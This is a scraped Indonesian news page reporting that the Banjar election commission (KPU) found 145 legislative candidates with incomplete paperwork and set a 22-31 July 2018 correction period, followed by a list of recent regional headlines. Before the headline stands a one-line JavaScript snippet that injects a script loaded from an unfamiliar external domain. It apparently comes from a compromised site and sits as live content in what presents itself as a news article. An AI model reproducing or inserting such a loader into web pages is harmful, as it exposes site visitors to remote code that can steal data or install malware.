(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

145 Caleg di Kabupaten Banjar Masih Perlu Perbaikan Berkas


MARTAPURA, Setelah sebelumnya melakukan proses pemeriksaan verifikasi kelengkapan adminsitrasi berkas, KPU Banjar menyerahkan hasilnya ke perwakilan parpol, Sabtu (21/7) malam. Dari hasil penelitian kelengkapan berkas, sebanyak 145 orang bacaleg yang masih bermasalah dalam hal administrasinya.

Berdasarkan pantauan Kanalkalimantan.com, nampak hadir perwakilan 16 parpol yang sebelumnya mendaftarkan calegnya di kantor KPU Kabupaten Banjar, Jalan A Yani Kompleks Pangeran Antasari, Martapura. Mereka datang dari pukul 20.30-22.00 Wita.

Menurut Divisi Teknis Pencalonan KPU Kabupaten Banjar M Zain, terhitung dari tanggal 22 sampai 31 Juli 2018 merupakan masa perbaikan berkas. Hal ini sebagaimana peraturan Komisi Pemilihan Umum Republik Indonesia No 20 tahun 2018 adalah masa perbaikan daftar calon dan syarat calon serta pengajuan bakal calon pengganti anggota DPR, DPRD Provinsi dan DPRD Kabupaten/Kota.

“Pengajuan bakal calon oleh Partai Politik hanya dilakukan 1 (satu) kali pada masa pengajuan sebagaimana dimaksud, jadi diharapkan untuk benar-benar melengkapi pengajukan persyaratan tersebut,” jelasnya.

Tambahnya Zain, dalam tahapan tersebut jangan sampai ada parpol yang mengganti bacalegnya sebelum tahap Daftar Calon Sementara (DCS) mengingat belum saatnya untuk melakukan pergantian, jadi diharapkan pada masa hingga tanggal 31 Juli nanti hanya diperkenankan untuk melengkapi berkas saja.

“Pergantian bacaleg yang paling mungkin adalah pada masa DCS, dengan tiga persyaratan seperti tanggapan masyarakat tentang kelengkapan berkas pemalsuan dokumen yang sudah berketetapan hukum, meninggal dunia dan mengundurkan diri,” jelasnya.

Sementara itu Ketua KPU Banjar Muhaimin S.Ag, saat ditanya umumnya kekurangan syarat yang harus dilengkapi, mengatakan sebagian besar terkait masalah administrasi.

“Setiap partai mempunyai catatan masing-masing, yang harus mereka lengkapi dalam waktu 10 hari mendatang,  yang paling banyak dari sisi administrasi seperti SKCK yang belum ada, ijazah yang belum dilegalisir,” ujarnya.

Ditanya berapa persen bacaleg yang sudah lengkap pemberkasannya dan berapa persen bacaleg yang harus diperbaiki kelengkapan adminsitrasi, Muhaimin ada sekitar 75% bacaleg yang sudah lengkap administrasinya. “Sisanya untuk 25% lagi diharapkan dapat melengkapinya sebelum tanggal pengajuan perbaikan yang sudah ditetapkan,” tambahnya.


Page: 1 2

Desy Arfianty

Recent Posts

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

32 menit ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

41 menit ago

Tiga Wakil Dekan FISIP ULM 2026-2030 Dilantik, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARMASIN - Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) memulai… Read More

1 jam ago

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

2 jam ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

5 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

6 jam ago

This website uses cookies.